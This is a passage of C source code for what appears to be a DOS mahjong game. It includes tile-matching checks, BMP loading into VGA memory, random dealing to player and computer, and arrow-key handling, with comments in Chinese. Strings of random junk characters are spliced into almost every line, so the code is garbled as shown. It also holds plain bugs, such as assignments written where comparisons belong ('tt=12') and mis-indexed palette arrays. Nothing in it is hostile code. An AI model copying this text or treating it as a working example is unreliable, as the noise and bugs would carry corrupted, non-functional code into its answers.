, d/ Q  s$ T9 U+ Y" H- B( Lelse if(tt==8)
$ v* W/ U2 m) Y& y4 i( Gfor(i=0;i&lt;7;i++)
) k% z9 s7 {- v6 G- N{
2 r. o6 S( s( t$ _: k  [0 J8 Ffor(j=0;j&lt;2;j++)
0 i' W/ m9 p5 w3 @' Q6 A{test[j]=pt[i+j];
4 _" D; P8 D3 o6 S9 B( b}8 I; K* R0 p3 l0 n* B
if(istwo(test))
: o  j. K% c8 r3 F, c, H; \{ ill=0;
0 O# b, U; [1 _9 [for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/# I1 ]! y, S! b' B+ f2 F0 k9 N
{if(kl==i)
# o$ t3 X" e8 b' C4 `: Q{7 h: W. C- V" [# |4 e8 P4 k, _
kl=kl+2;
: N+ C5 x: z7 ]  pif(kl==8)
3 x9 D7 h& J3 [# @- hbreak;
9 s; U% O3 {: Q, E}
5 @. a. M7 a/ O1 \test[ill++]=pt[kl];1 ]0 i' b; |2 C3 |8 X
}
& g& g5 f" }6 u! S* U9 A8 v2 Yisthree(test,tt-2);
1 V0 y9 ~( V! p# F# q# J, c& c}4 x4 }  \3 `( x( e, x& {5 _6 y4 o& r
} 0 m; }" ~3 @9 r( R5 m
else if(tt==9)2 G& e! ~/ W% z# y8 P
isthree(pt,tt);  K+ k9 \( i! c# z0 o0 S2 R
else if(tt==11)7 D6 Y& O  C6 a" Q6 W- O
for(i=0;i&lt;10;i++)
/ S# J: v, U& Y4 j) Q{! W& S; ~. x% z' c6 b
for(j=0;j&lt;2;j++)
4 H5 p2 J) ]  L" t* K{test[j]=pt[i+j]; 2 P4 D$ V! w2 x* B
}8 \5 U4 r- N! N/ h8 K+ |
if(istwo(test))
# j: K. C9 [# {) Z& P: N( o1 B& V: [{ ill=0;
( Z7 d# ?" W) J# Lfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
2 \$ E. g9 _4 B- n  r7 ~/ z{if(kl==i)) a/ \( B7 r4 O  |8 w' E
{4 f: U* f4 i7 N* c2 T
kl=kl+2;* u4 v% s2 F$ W
if(kl==11)
- Q& A$ c7 f! x5 G3 O4 N# N3 }! Wbreak;
' b9 d' S2 G  y9 `1 n}  {0 M' z) a7 s" C# j# c7 J
test[ill++]=pt[kl];
) C9 n! |; J1 @1 Q) ?9 ?}
! B! C' r* y" o5 A( }& cisthree(test,tt-2); # o) M/ E1 m- c  l: `3 Z
}
9 G- L6 |  q2 d/ @}0 w2 i; h* Q" M/ S5 R2 `* W
else if(tt=12)
7 X5 t) a4 a2 |# O: V- |& Jisthree(pt,tt);
4 x8 P, h$ L$ p. @! m7 nelse if(tt=14)
. Y  [/ P* z/ |9 N( Wfor(i=0;i&lt;13;i++)
- J$ _) X- a" g4 U, z- d{
* U2 I/ q9 d( j: gfor(j=0;j&lt;2;j++)5 I* I" s8 B" R2 ^' h
{test[j]=pt[i+j];
- P7 R  t& _- b+ x$ o9 Y}
" t2 Y1 H9 P) v; t& Q6 x  pif(istwo(test))
6 U3 I5 |' [3 R: J* d6 T* v{ ill=0;
* T5 _' M- ~( c- C7 S3 L1 a6 D0 ~for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
$ P: w  o4 E; O  e- j+ ~{if(kl==i)
+ s* H3 Z3 G, r8 W4 m{
, ^0 _+ Y9 W+ qkl=kl+2;
; V  o* e  s7 T+ O: R1 zif(kl==14)+ h7 T! `5 ]0 C
break;
7 O6 p  e* Y+ H}
. m2 W5 R1 K9 G# U7 |. I3 Jtest[ill++]=pt[kl];
9 H8 W- D# f7 M& e7 [% `0 l9 e}* \9 z9 y3 a: o2 s9 }3 Z2 j
isthree(test,tt-2);
1 Z0 x7 a+ M- Y}! M, G0 a6 }: P& Q( e/ T
}8 p3 O8 N9 [* F5 y9 X6 n( `
if(ii==2)% \  v' e8 k5 T  |
istwo(pi);
) m7 W9 w, g, F; d9 {, \' |) Eelse if(ii==3)  W+ i7 o+ @4 A3 n) U
isthree(pi,ii);
% |& N. X3 A- p$ Pelse if(ii==5); ^% K' m' a/ C& x4 [
/*pi[5]原始牌数组,假设已经升序排列*/
7 @' |) f  B0 A6 r: l, m/*test[3]用来放置测试牌的数组*/5 W7 I+ M5 m$ u% X) E* }
for(i=0;i&lt;4;i++)
' J  {$ |$ b% S5 E- X+ `5 _4 a{9 x6 d7 o% X2 x% `
for(j=0;j&lt;2;j++)
% p. E1 n: M+ S7 \; c* S' t( {{test[j]=pi[i+j];
4 }0 U/ M# ~' Y5 Y}6 I! J# k: Q+ G0 K% i3 L
if(istwo(test))
( g/ I5 ~1 A' q4 K) q7 i{ ill=0;
- I* t8 w2 V+ x# d. ~# Jfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
6 R# a+ H& L$ ?/ O, H5 o{if(kl==i)
, Y( O' i, @  T- Y{
0 n# e* T& `- Y/ ~' K# wkl=kl+2;
, F, ^. K3 N9 A1 q+ H3 m) I( A4 l1 hif(kl==5)' b$ L9 [5 h! ~/ K* j
break;
" c' D8 n, t3 S( B}
8 v+ y6 F7 Z& t6 M7 K. ^' k& rtest[ill++]=pw[kl];8 H: }/ m6 i+ c  N; l  g0 m' a
}0 D/ |( @1 {# t+ R
isthree(test);5 k; j2 s/ I& t
}( Y+ d+ r* _) E6 ]2 {/ U
}3 \1 p' U3 U( B$ K/ K  }4 ^  b( U* o1 \
else if(ii==6)
2 _8 c2 l9 ^, F( m( ?! V* Zisthree(pi,ii); 5 X' x/ i" h2 p" _' O# s# P7 C- t
else if(ii==8)# i$ P' k" \7 N. T  w2 @
for(i=0;i&lt;7;i++)% _  x# s. W! A! [$ i- U7 S  ?
{
* J% e) U' u' ]  efor(j=0;j&lt;2;j++)# B9 @0 n$ `4 G! U0 F
{test[j]=pi[i+j];
) k- ~+ u9 ^) H* V0 F5 }! R}! j8 K5 s8 o/ J0 F7 z  E" E6 V
if(istwo(test))
' C- B' z2 n) Q7 b$ s+ t{ ill=0;
& i' W. H, v4 B6 T& ffor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
' q, v& ?6 K; X- l1 X8 q{if(kl==i)+ g% D* C+ g7 {3 k  R: S! L1 L7 E
{' q: s: I7 H. I2 [
kl=kl+2;5 x  m# C" t3 X0 S/ C2 a$ j; J
if(kl==8)' C6 Z& a( S/ ]
break;' E  G3 F7 u1 S% y2 d7 M/ L
}
* ?* n4 P, s# T8 Q9 [4 h" Atest[ill++]=pi[kl];3 o5 r2 U  G, g5 h& t' c
}
- y, }& O/ }, H) k& {isthree(test,ii-2);
! D# X: R8 B. M) H+ z1 L}: n, B3 Q* z8 L$ ]! e, Y
} # p+ Y1 X. Z# O6 c* e* f* [
else if(ii==9)$ l: y+ T8 H- a3 s6 Q# B. L) H4 I- G
isthree(pi,ii);
2 h' M$ V9 y5 kelse if(ii==11)
* W: `. F6 t5 C, O) yfor(i=0;i&lt;10;i++)
2 X3 i  e' @' K1 O4 [- Z$ p{
+ U6 j, n8 |# w# {  Y; Vfor(j=0;j&lt;2;j++)
, s, V- `& n- ~/ n* M3 p{test[j]=pi[i+j];
) D: C7 Q" m, z" R. Z}
! u( W  |1 D/ O4 qif(istwo(test))$ E% U9 Q7 [/ e- \3 p7 o
{ ill=0;: T, M& R1 k- K% a2 U
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/% Q/ q# L8 X; u: P5 j8 I
{if(kl==i)
' }) I9 s2 f& r$ ~* y{0 o2 v% J( F8 t9 ~- M- X5 [
kl=kl+2;
% X/ j0 ], R# Yif(kl==11)
% R% }: V- M9 I- f; g5 {break;
( @/ ^0 l3 O- D}
1 ^; X( g, P7 X9 Ntest[ill++]=pi[kl];2 X  E) l) o4 l; a* P, N$ c$ Z  j
}
5 z" Y% S% y$ S; J; f" Sisthree(test,ii-2); & p5 c3 B5 W# n) ~
}: e8 c" l# L' g+ z4 W7 z& v
} $ z) i  @% h) ~
else if(ii=12)
# V7 L8 i) w/ wisthree(pi,ii);, k. M; _8 g8 F5 }% E+ t
else if(ii=14)
: @# _4 g% D2 @( s& p" b$ l( g' mfor(i=0;i&lt;13;i++)
  R2 F9 d; K. h3 H" {5 e2 U{" O/ I# F4 C: _$ T- E; [2 Q/ U
for(j=0;j&lt;2;j++)5 M( e3 y  a8 _* q% ]1 B
{test[j]=pi[i+j]; 5 E& T3 q) P& L" w: v. y
}
6 h8 _& b0 L* B: a' F4 cif(istwo(test))
. |$ E/ \  A" g. I( P2 R{ ill=0;
# U5 t$ ^' \  ^% k: ]" Zfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
; d1 t) S" P! p) A# \, ]{if(kl==i)8 F; ?% Y6 M' h2 c; t
{
# v$ _! V! u! v0 I, W4 ?# t. lkl=kl+2;& d& m1 S9 K& m" ^. D: a4 E
if(kl==14)
6 v& o3 x6 h8 Q  G* g, hbreak;/ H. n, T  g" Q, s5 e; H
}
/ S) g1 Y6 Y2 \$ f! N6 Rtest[ill++]=pi[kl];
  G) L, P+ r, F3 v. ~}5 R7 J3 }. |7 N# n8 {
isthree(test,ii-2);
8 K. Y7 s. a4 M3 L! @$ Q0 A& j}
, Y" M% |  K+ O9 F" P3 H, r}
, a1 B% [8 {) d4 P$ i; \7 Y4 L6 oif(ff==2)
9 U4 m8 d8 w) p  o; g, A5 jistwo(pf);4 Y% @6 J5 v$ w5 L; C# }; ]9 z
else if(ff==3)
, T- Z, H8 o+ b0 E* ?isthree(pf,ff);1 E) q8 q8 u$ w2 p3 r
else if(ff==5)
2 n( U! ?1 |( i/*pf[5]原始牌数组,假设已经升序排列*/
/ b! R" N: f/ g( r: B+ {/*test[3]用来放置测试牌的数组*/
  \1 G  l% h3 m! Mfor(i=0;i&lt;4;i++)" U, V' l6 a% T9 C6 X
{
2 q, _' Z/ Y8 S" c/ Zfor(j=0;j&lt;2;j++)
/ C* q* r& V9 T3 b7 E5 a% x- T, S{test[j]=pf[i+j];
& ?% z+ W: H% i+ H& g) e5 r}; [8 G* K( F* r
if(istwo(test))
8 k# ?/ t2 [& J6 e: A{ ill=0;
9 ]. X9 e- W) O; O& A/ mfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/6 D% c7 k6 w; l5 z7 ?: k* T1 j. g
{if(kl==i): y$ Z. q  t5 b
{
, u1 ]  I: z3 S/ y9 ~kl=kl+2;3 d( w4 S+ I. C
if(kl==5)% u4 O8 z$ h* D7 ?, s
break;7 h! W* U9 H( t- Y; d
}
+ @2 b% |) i. A2 t' ktest[ill++]=pf[kl];4 A4 I8 y* \2 @3 a$ i* [
}5 r9 B. f3 E. L6 e. d! \+ ^* ?
isthree(test);6 ~8 ]+ H6 m/ `/ x* g8 t. O
}8 c0 H9 c$ ?) I: g2 @0 M) ~6 s
}
, ~1 ]" S4 b; Qelse if(ff==6)
* {. m; I- h6 A: e2 P/ `& Risthree(pf,ff); 1 i4 ?; t' [8 {4 l+ H
else if(ff==8)
3 i% i* ^( y0 d% w1 ]for(i=0;i&lt;7;i++)
$ O( j3 B/ u2 C1 Y, ^, X{8 t" l& g5 \3 l2 G! j5 Q" _7 V: a0 A
for(j=0;j&lt;2;j++)* G! t% Y( h" P! Q
{test[j]=pf[i+j];
0 Z" j7 E+ w3 g. D- n' A}, h* A5 b3 W6 G! b; Z$ ~  F8 g, O
if(istwo(test))# K$ B& ^8 j/ k- m8 @: b
{ ill=0;
3 S. a+ F$ ^: O$ m- ~. efor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
% D+ K3 _  x  s$ ?& S{if(kl==i)& ^- N5 C# I  D; ]; K: @& F
{3 \/ X9 ]+ e: N8 Z* |
kl=kl+2;, J: L; c+ Z# A$ L( T
if(kl==8)
0 h' z) V" }" G& j" {, L0 Rbreak;
6 |0 R( q2 @) y0 D  J) E6 U# O}
2 h4 h8 v% s: I% ttest[ill++]=pf[kl];8 R- f$ W" A( D& p6 N9 H6 g$ X  K) D
}3 l- g- D$ }1 a& X
isthree(test,ff-2);
% }4 O: z9 W3 X5 V; ]) ]}
( R3 o5 w  n' K, ^" x}
  J4 ^" U* p" I5 ~4 {else if(ff==9). O. I4 S' [: C4 c+ A# K6 d
isthree(pw,ww);6 F! ]& G: M, ~1 v
else if(ff==11); s, p& K4 H$ I
for(i=0;i&lt;10;i++)
6 l6 m: A2 v) ^+ }0 ]( c% v6 @+ T/ ]$ \{$ t* q- v4 W: Z  N0 ]
for(j=0;j&lt;2;j++)
$ p5 ^/ c2 `( C; x, v* s{test[j]=pf[i+j]; ( C- y+ Z/ {1 c; i& A2 U& V- E' v+ h
}
, o. d3 N. \. m! f4 cif(istwo(test))
9 D( |6 F/ k5 L* h{ ill=0;
; J9 S/ h% [- U4 ~; i' q0 C7 _for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
4 Z/ ]$ G6 ?# E/ A{if(kl==i)
( x7 a+ f5 D7 Z) A1 l{
4 c' t% Z! a/ K2 mkl=kl+2;& [" H3 ~- h0 J7 o* ]7 v
if(kl==11)
# K  z) @7 _0 Y9 O  fbreak;: u  Z/ f& [$ W& B, H3 Z) j
}7 O  K8 U! C( Z( r8 _
test[ill++]=pf[kl];
0 ~* t- D7 d/ X" l/ V  X}
- u# N0 r4 f& aisthree(test,ff-2);
: h3 ~7 W- R5 e}9 F7 O7 ^6 H5 e
} 5 K2 t: ^# k, v5 Z* m
else if(ff=12)$ Y& u& J" [* T/ {6 w8 I3 b* d
isthree(pf,ff);
: t5 ]; P6 W$ a  `' ]$ telse if(ff=14)/ }- v" V: T$ p/ X1 k3 K+ u0 `
for(i=0;i&lt;13;i++)9 e9 S; R: T- C7 b
{: V  K* @  w% u% ?9 z2 n
for(j=0;j&lt;2;j++)
! m- I9 [# {4 _8 |6 _3 z{test[j]=pf[i+j];
1 ?& F$ B, x4 N" ], r2 v8 G6 i& P* m}
, a$ h0 k2 {1 U6 @' W$ W5 zif(istwo(test))
4 {0 C  T7 e/ O{ ill=0;- u# L9 q6 j+ i$ G- [
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
# ~8 G! V' }' P3 [  i4 i{if(kl==i)
7 @) U/ Q5 n, a$ t3 S% a$ t# {{
  W( H% Q# D' M# Ykl=kl+2;* X/ s& R9 c( w: N. f
if(kl==14)' J" Y9 U- r2 A* R
break;" c( ]6 e# S2 i* R9 V
}; ?1 Q, e) f. v+ k, C) g$ p6 q$ h
test[ill++]=pf[kl];' h8 v0 u6 F* O0 a5 D  _2 |$ P+ j
}
. c( K8 X6 `5 Z- B& n, O  Uisthree(test,ff-2);
' z6 I( `7 l, }, {' w3 Z, d}
% `3 ^' v, }& u6 w; L4 z, Y! l% v2 e: Z} 4 Q+ V, U; D2 ~; C  r8 @. n4 @
}
, G: p* A+ N; E; `. p) t; ]void main(void)
  v0 v0 a* W/ w7 z3 K% s7 _{: d6 U# s7 c8 Y; E
FILE *bmp;
3 Z* j) X/ o: v9 ]: ^5 }0 istatic char *name[2]={"ff.bmp","logo.bmp"};2 C! f* z! Y% }* z2 V+ M
char *p;4 T6 {! H& f& N2 R
int *lingshi;
& z) v! b: \( d7 a" `6 Iint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
& t" s4 {5 b* G- cint every=0,w=0,x1,x2,y1,y2,every1=0;9 D- D/ Y) t6 w: u' o
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;) i/ F4 N& a, y  ~6 N) F) ^4 i
BYTE palette[256][3];
5 U2 @/ J; @! p' {' a0 wSETVGA;  @- Z0 B  B3 @3 [
getch();
6 n+ r# V9 v' Bwhile(t--)
5 ~" X; x/ F# b& q# q{
" e  u3 J  c: N- J7 Gbmp=fopen(name[t],"rb");
. S9 g/ Q( C8 T) U: |7 E' C" R. dfseek(bmp,54,SEEK_SET);
( j" |* p/ A; _# Z5 l0 k5 C3 Afor(i=0;i&lt;256;i++)9 h% O, W; n0 A  H# ]9 V! h# v
{
' B9 U& f& N( @, z$ h% F  Q) _palette[2]=fgetc(bmp)&gt;&gt;2;
$ J6 c7 v" N' ?& ypalette[1]=fgetc(bmp)&gt;&gt;2;. m0 h+ u0 u; o9 P; w
palette[0]=fgetc(bmp)&gt;&gt;2;$ O8 @" a" ~% z4 w2 ~7 A. x
fgetc(bmp);
3 t1 ^% y0 ^- f6 H" g. PSet_Palette(i,palette[0],palette[1],palette[2]);
; ~9 e+ ^# Z% e: l4 S2 Y2 n  x}
$ L7 a9 T" t1 m" [; L4 ]: O6 bfor (y=0;y&lt;200;y++)
4 r  A, J8 Q  W/ @6 {: H/ Ffor(x=0;x&lt;320;x++)
2 c7 u: Z" X7 G* q5 s  ^pokeb(0xa000,y*320+x,fgetc(bmp));
8 `. N" `$ @5 R, j' Pfclose(bmp);& M$ x7 y9 l( w7 Q+ p  P
getch();$ L2 f5 ]+ @: J  A. a, b
}+ h5 ~) z5 D% y3 F
getch();2 @; `: J" p6 E! \9 u
fillRectangle(0,0,320,200,0);
- T3 N. e8 z$ C5 qgetch();
( V  ~$ s7 y4 {% B1 trandomize();' [9 s( f( c2 ]
me.m=onetothirteen;6 D  K; a# {' |4 p$ m3 T+ c/ g
while(me.m&gt;0) /*先循环,给自己拿牌*/( `7 t5 {- y& z) r6 N9 p: }
{
+ @. {! N; D& D% w
4 e: C( q* h; o% z4 Ftemp=random(136);2 t) q( |" G) L, H' A/ J5 q
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)/ x- T# s3 ]! I
{( r  y( C8 M. n) V5 G
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
% e0 I: L# m% Z, w1 x% ~me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
0 |* q) N5 l& t0 ^" `3 @me.pp[n].number=temp; /*第几张,用来排序*/
! E: I2 G% B* O8 P3 ?& ]: X# Pm[temp].data2=1; /*判断牌是谁的*/
: e. L5 k0 d; J2 C' d/ Lkk=1;
4 z. ^# |- k% \5 w: `: d  D( n}
% K5 V$ u/ Z3 \: y1 d9 a9 Jif(kk==0) /*判断如果又选择了,就从新再选*/
0 s, I* X+ }/ N{ 1 f  M9 t- W3 \: V( |* ^
me.m++;: q) l+ n! Q  ~' f+ J
n--;
2 m: z6 U) K5 z( s}
, U4 T6 b: S, }* T! N: Sme.m--;+ |9 e$ w& t, Q+ P' N. h
n++;) U8 ^% Y, g' k* T( [
kk=0;
( j; e! w7 ?  K( j. ?2 V4 N}7 v" B. J, l- X9 G6 R5 J( O4 f5 m
me.m=12;- G+ k4 h! ^, Z1 R$ w# F7 G6 Y  y
melipai(); /*理牌*/
: ?* Y7 T7 G; w' m$ t9 X* M
7 J1 ]+ S' W- A$ h, {) sn=13;) {( R3 s" {) k* A: A: |
while(l&lt;n)+ \& z8 _- m$ N0 S3 t
{* T5 {  x- ?) y1 O' M8 j
z=z+20;2 z# Q  q. J# u/ F4 ~6 R
showbmp(l);" r2 l, P' B) X5 p( V9 S/ i; D% G6 E
l++;
; ], d1 c3 B% q0 H4 A2 @, [- x' u
}. o0 |3 \6 r) q: W6 ~4 q
randomize();" L; n+ F* C+ r% H* H- L  ?) e
computer.m=oneorthirteen;' p  v- {- a! w! S/ {
n=0;$ L$ B, i+ C# m7 r
while(computer.m&gt;0) /*循环,给对方拿牌*/; x; b" S* b" \
{
+ `, n( I0 l% c* a/ h4 O6 x* Ttemp=random(136);
  n5 O. j9 M0 I, T' S- w5 T+ L6 vif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)6 \0 o: z& X3 x5 h( B, x1 p
{
; p* I) u2 N+ p7 u6 R& V, Ucomputer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/. }1 q' W! k2 a. T
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
" D+ G& ]+ f; C' @7 Ocomputer.pp[n].number=temp; /*第几张,用来排序*/  z) b8 ~0 ~3 i1 [+ s: l3 r! @
m[temp].data2=2; /*判断牌是谁的,2为电脑*/
) b  h. q4 C& a8 b( l+ rkk=1;/ j4 ~5 P8 v# f2 w, ~8 t7 x3 I
}" d! L% x% Q  ?) `
if(kk==0) /*判断如果又选择了,就从新再选*/4 i! N. b0 |, P2 A) X. M
{ 4 i( n1 i* F. [. k& X* k
computer.m++;
, W- g- D0 W+ T2 R4 s4 Mn--;
; w; W$ ~) d8 c& n. O; o# b}
9 o) Z% Q2 w' a3 ]) ?. L: Bcomputer.m--;6 s: t) z, y$ q2 k3 R% e5 P7 p
n++;# C; w  k" v' [2 F- p) l9 e
kk=0;
7 [$ Z: [( O6 p' k/ V' }}
% ~; t; U  K  K& z( gcomputer.m=12;# [& `3 m, n5 E$ O
comlipai(); /*电脑理牌*/
) D9 X3 j" T- Z* an=13;
" |# h5 _6 D' ^$ l2 e2 L. U) T% Nwhile(ll&lt;n)2 s& i* Z) S* m* h6 p; O! u
{0 o. s$ O' |, n! ^9 c, e) C( Y! _
zy=zy+20;
+ P( q( ?' {( T8 V5 H5 Z- T! M4 Pshowybmp(ll);. V# k  ^7 Q# t. w1 l& F
ll++;! a& w5 Z) r( V0 p& Q5 m8 R
}2 [4 [  P/ {) {  f2 S5 J
, |4 d% A$ B3 O# \7 |$ C! `+ ^" L, d" S
z=54400;
: K* I$ G/ q2 H9 u% twhile(key!=ESC)5 a/ w0 Y& ~0 K6 c+ y& y0 W
{
1 F. o( R; \3 T$ m5 E' W% N9 h) v, H6 Z/ ]. L
keyy=bioskey(0);
0 i9 J  s# v' k2 K8 s; s8 vif(keyy==LEFT) 2 B4 x4 g+ _9 q. V6 s
{ w=1;; G+ g( f) o/ z8 S- E" }# ^* w" c$ ~
if(every==0)
+ S- d% _2 D% F: e{
# w* g$ p* h' ?5 K& I1 ?every=1;0 S( H2 a5 G# k1 b. G
z=54440-5*320;
4 h1 v/ u/ {1 r6 ^8 a$ A2 A1 D, m' _% @9 W: x* ~3 a
}
( n: @1 G9 r3 t5 azz=zz+5*320;
0 W# |: ~! @2 }showbmp(every);
5 F8 X1 N* |( K  U) Wif(every==0)
# u/ w( b4 `& [" J: i{+ l4 L4 y" g) r. o6 t
x1=20;: P7 W% c, v$ t& C2 H" G; V
y1=165;
5 Y2 E- T$ [% e7 T! I0 ^: f, g1 {fillRectangle(x1,y1,x1+20,y1+4,0);; i" Y- g9 ?+ i
}
) k/ H4 Y) b3 d& H( s. rif(every==1)' n; n5 K* C0 @4 d/ f' ]( `
{
% n  v6 X! z- o9 j" R" i9 m+ ax1=40;
- S% r& X# [% m; ^4 Z. T) [y1=165;
. v; w. s: G0 ~, F3 `6 AfillRectangle(x1,y1,x1+20,y1+4,0);
3 o3 k/ g8 h* E6 W8 L# i+ t% m& g5 F}
5 j5 h, O5 {3 [  s; J: r& Sif(every==2)+ H# L# S" ~5 N4 J, R9 J2 q8 S
{& q" b3 j) s  G$ s- s, S8 y& O  y% r6 R
x1=60;
& x1 x# E  L( ~9 T/ r' w8 f  ^) oy1=165;
% [2 s3 b! @5 m: ~fillRectangle(x1,y1,x1+20,y1+4,0);+ B  V7 d( `/ c( B) Q
}
; y4 t* U0 z! ]7 c" E8 w7 X) t7 J) cif(every==3)$ F$ X; ?. I: {+ C/ I& I
{& e$ z6 A0 ]: k3 X5 D# W
x1=80;; \$ }1 n- m4 J1 }- [3 N
y1=165;
. o/ W3 z- z; SfillRectangle(x1,y1,x1+20,y1+4,0);
. g7 l" K$ A6 y$ e# p}
7 v: ^' I$ n  C, U0 c% n" y3 Aif(every==4)+ a" ^, r# O% q3 G# N1 R) A9 D7 j* f
{& t% B; _2 `' L. K9 O8 j* c( N
x1=100;
; C" o4 `' f0 i( U7 \& V  Ky1=165;' `; {) }5 p; H, E
fillRectangle(x1,y1,x1+20,y1+4,0);! x3 `, ~0 g) E. m4 \/ E
}, L3 R+ W  F" g# M
if(every==5)1 j$ |. [5 X5 b1 Y
{& B0 f0 w5 a1 |& ]$ @* X* ?
x1=120;
4 T% y! M! f6 J4 w# F$ ty1=165;! b6 }" w# ?: R/ B& O# J' q
fillRectangle(x1,y1,x1+20,y1+4,0);# W, V3 \( C  K  T! z
}
3 A# k$ q9 \! r9 w5 j& i) Iif(every==6)
8 E2 v6 e  Z1 I# V6 _{  i6 ?7 V/ _8 j
x1=140;
# D  C% a$ @1 ]4 \3 ^y1=165;
- I( J& k% u7 O; D! Q( u& IfillRectangle(x1,y1,x1+20,y1+4,0);9 u% T' }- l% _. a% k" E
}
. C) L" y0 w9 G, M( D) U- Gif(every==7)
+ ]2 X) a  o$ D- F" k$ B; D{
) Q% A1 s) G* o2 f! T" r, Rx1=160;
; g+ V; H9 }) Z6 qy1=165;4 Z3 x/ J" C: }
fillRectangle(x1,y1,x1+20,y1+4,0);% l1 M# d. A* {; u* f* }2 V
}# b. h# F7 s+ d) p, a
if(every==8)4 G) E/ k( z/ G
{
9 N4 i+ r3 w) k' Z6 M+ p. |x1=180;
6 q3 b4 {7 T  p5 L% m: }. Iy1=165;* W* x6 w% T4 U) X, m' \
fillRectangle(x1,y1,x1+20,y1+4,0);
* Y6 ^% ~4 Z# c}+ |; N  A+ J# n/ f. }4 V. y
if(every==9)
! A# c& g) I  z( _7 e- P. x$ i{
; _4 t1 r7 ~4 H6 T$ s$ Xx1=200;
" {1 n+ ]9 F9 n5 \; ey1=165;, m7 I/ h/ ?  g9 Y1 k3 s, z* E" }
fillRectangle(x1,y1,x1+20,y1+4,0);8 k: n4 G/ m% V4 Q  l/ `1 B
}: V8 I" y& P' d9 l1 X
if(every==10)
5 \8 W: ~- t* U) b, `3 O- X{
! h4 n0 N+ c# t' h. Xx1=220;+ Q+ T/ X7 `7 d) `7 a3 ^
y1=165;
! f& I( z# [8 P. vfillRectangle(x1,y1,x1+20,y1+4,0);
3 B/ e- R9 V3 \( T}5 p' s9 ?, T  Z7 X: t2 X# _
if(every==11)0 j" m/ O0 f7 D" d) k* u! ?
{8 |5 q9 k; X# M4 o
x1=240;
; _5 @' l; P- J" S8 a) Ay1=165;
1 b$ ]) r2 d: G1 M9 [fillRectangle(x1,y1,x1+20,y1+4,0);
% X6 t; X7 w+ K. F}1 u4 s6 _; u2 z* c% ?
if(every==12)
) _4 R' E: _7 l% m{% b! B" k. Q4 m- P; J* o# `. s
x1=260;
8 W6 b, q  |+ xy1=165;- D& O8 a6 d+ ]) _& @* k1 l
fillRectangle(x1,y1,x1+20,y1+4,0);
& J7 Z# Q3 G* [" H. a}1 {! C6 y2 o" L9 w$ K- d
zz=0;
# T& O2 k# c% G7 i! kevery--;
$ \# r3 S6 `% i5 |3 n! F2 ?z=z-20;4 F: i7 B) F, o) r
}
: x, S/ x5 c" n$ P/ R+ r) Aif(keyy==RIGHT)
8 e5 z: t3 j! t* ~1 J{ if(w==0)
$ y+ J! V0 v. l3 M$ F5 ~& t2 N{- Z& ?- o9 z6 G- V9 h! |# r
z=54440-5*320;) l" e+ U3 O4 \+ f! ~" d& T
z=z-20;
7 n/ G- ^: g4 u% l6 T5 I/ Mw=1;
2 a! Y9 X* F& k% L1 ^! O}
4 B" y% q0 k' ]: y) a: eif(every==12) 3 e* Q  ]: h3 R/ @8 i  I
{, i( w5 D  d3 s2 R- J" d+ ^0 f
every=11;* }3 {+ B; U6 a5 y: ?: Q5 i* O
z=54640-5*320;7 v2 A+ ~% d: L2 N7 _- S+ a' P$ `
}1 U, l  C6 }8 a
zz=zz+5*320;4 p6 g# \! b: y+ D0 K* _" j
showbmp(every);1 l: [# M, Y3 s7 _
if(every==0)
) F) u: A9 Q* g1 `{
2 L0 _9 n; f$ y; N, F% rx1=20;
# m2 d5 }. B7 t# ~y1=165;  @% t  `6 Q7 c% i9 |- P& _( M
fillRectangle(x1,y1,x1+20,y1+4,0);
4 ], k1 {! O. J5 t# F' [& S}
, u* _8 Z' _, m" F9 z9 g) kif(every==1)4 l- z: y& F! ]) _9 E
{
8 _3 k" Y: r* m6 B! C3 ~5 px1=40;  l$ v) E7 x% Q( b0 P6 v
y1=165;
1 V& Z" S5 j+ e0 ]9 i% nfillRectangle(x1,y1,x1+20,y1+4,0);
" Y) J' g9 }2 A. J8 T}  k5 n' q# G; {
if(every==2)
- m- b2 D4 {- Z. n9 E" ~{( A9 G) O, |( Z" J5 w
x1=60;
$ j1 B; m3 r* `; [: {y1=165;2 H+ E4 N, c4 S7 j
fillRectangle(x1,y1,x1+20,y1+4,0);
' x# e( m4 X- S* e5 z9 T6 F" k}6 |; D5 r; _/ h; j/ L
if(every==3)
7 H9 D6 o5 H! r% x6 S' O{) S! w" e) {- G! y
x1=80;/ T/ v9 q0 Q) E
y1=165;
6 s: X) ]7 d. p3 U  o& JfillRectangle(x1,y1,x1+20,y1+4,0);
) g" l9 }* g2 u+ ]. n}7 }- n5 [+ j. _; e8 Z2 t& g% F
if(every==4)4 [3 \) l5 D* C7 f
{3 L! k: e9 L1 I: F6 e4 S# j
x1=100;6 ~; P  P$ I" K
y1=165;( J9 n! k1 ~3 W, d$ l
fillRectangle(x1,y1,x1+20,y1+4,0);9 r9 Y) b6 ]* U& _3 C/ ?
}  U2 m9 q0 l4 k4 w+ Y
if(every==5)$ D- ~+ b5 a( L. H- h: _
{
) D: X% }6 `$ L) zx1=120;
& J. D& Z! h7 ky1=165;) |' k8 T3 K+ V+ m& K  A
fillRectangle(x1,y1,x1+20,y1+4,0);
1 u& A- |* |, `* v}4 u1 {( h& _- ~+ C
if(every==6)# u1 o+ \- U! \
{
